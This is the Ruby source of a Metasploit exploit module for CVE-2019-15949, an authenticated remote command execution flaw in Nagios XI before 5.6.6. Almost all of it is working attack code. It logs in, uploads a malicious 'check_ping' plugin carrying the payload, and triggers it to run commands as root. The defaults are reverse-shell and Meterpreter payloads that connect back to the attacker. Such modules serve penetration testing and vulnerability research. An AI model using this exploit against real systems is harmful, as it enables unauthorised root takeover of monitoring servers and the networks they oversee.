1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name'=> 'Nagios XI Authenticated Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root. The module uploads a malicious plugin to the Nagios XI server and then executes this plugin by issuing an HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. The module may behave differently against older versions of Nagios XI. See the documentation for more information. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References'=> [ ['CVE', '2019-15949'], ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit ], 'Payload'=> { 'BadChars' => "\x00" }, 'Targets'=> [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Payload' => { 'Append' => ' & disown',# the payload must be disowned after execution, otherwise cleanup fails 'BadChars' => "\"" } } ] ], 'Privileged'=> true, 'DisclosureDate'=> 'Jul 29 2019', 'DefaultOptions'=> { 'RPORT' => 80, 'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request. 'WfsDelay'=> 10 }, 'DefaultTarget' => 1)) register_options [ OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] register_advanced_options [ OptBool.new('ForceExploit',[false, 'Override check result', false]) ] import_target_defaults end def check vprint_status("Running check") #visit Nagios XI login page to obtain the nsp value required for authentication res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 200 && res.body.include?('Nagios XI') return CheckCode::Safe('Target is not a Nagios XI application.') end @nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @nsp.to_s.eql? '' return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.' end #Attempt to authenticate @username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon auth_res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/login.php'), 'method' => 'POST', 'cookie' => cookie, 'vars_post'=> { nsp: @nsp, page:'auth', debug: '', pageopt: 'login', username: @username, password: password, loginButton: '' } }) unless auth_res fail_with Failure::Unreachable, 'Connection failed' end unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php" fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end #Check Nagios XI version - this requires a separate request because following the redirect doesn't work @cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon @cookie = @cookie.split().last #app returns 3 cookies, we need only the last one version_check = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/index.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp'=> @nsp }) unless version_check fail_with Failure::Unreachable, 'Connection failed' end unless version_check.code == 200 && version_check.body.include?('Home Dashboard') fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end @version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue '' if @version.to_s.eql? '' return CheckCode::Detected('Could not determine Nagios XI version.') end @version = Gem::Version.new @version unless @version <= Gem::Version.new('5.6.5') return CheckCode::Safe("Target is Nagios XI with version #{@version}.") end CheckCode::Appears("Target is Nagios XI with version #{@version}.") end def check_plugin_permissions res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp'=> @nsp }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('Manage Plugins') fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.") end @plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @plugin_nsp.to_s.eql? '' fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.' end @plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon end def execute_command(cmd, opts = {}) print_status("Uploading malicious 'check_ping' plugin...") boundary = rand_text_numeric(14) post_data = "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n" post_data << "#{@plugin_nsp}\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename post_data << "Content-Type: text/plain\n\n" post_data << "#{cmd}\n" post_data << "-----------------------------#{boundary}--\n" res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'POST', 'ctype'=> "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header 'cookie' => @plugin_cookie, 'data' => post_data }) unless res fail_with Failure::Unreachable, 'Upload failed' end unless res.code == 200 && res.body.include?('New plugin was installed successfully') fail_with Failure::Unknown, 'Failed to upload plugin.' end @plugin_installed = true end def execute_payload #This request will timeout. It has to, for the exploit to work. print_status("Executing plugin...") res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'), 'method' => 'GET', 'cookie' => @cookie, 'vars_get' => { cmd: 'download' } }) end def cleanup() return unless @plugin_installed print_status("Deleting malicious 'check_ping' plugin...") res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @plugin_cookie, 'vars_get' => { delete: 'check_ping', nsp: @plugin_nsp } }) unless res print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.") return end unless res.code == 200 && res.body.include?('Plugin deleted') print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.") return end print_good("Plugin deleted.") end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if @version print_status("Found Nagios XI application with version #{@version}.") end check_plugin_permissions vprint_status("User #{@username} has the required permissions on the target.") if target.arch.first == ARCH_CMD execute_command(payload.encoded) message = "Waiting for the payload to connect back..." else execute_cmdstager(background: true) message = "Waiting for the plugin to request the final payload..." end print_good("Successfully uploaded plugin.") execute_payload print_status "#{message}" end end |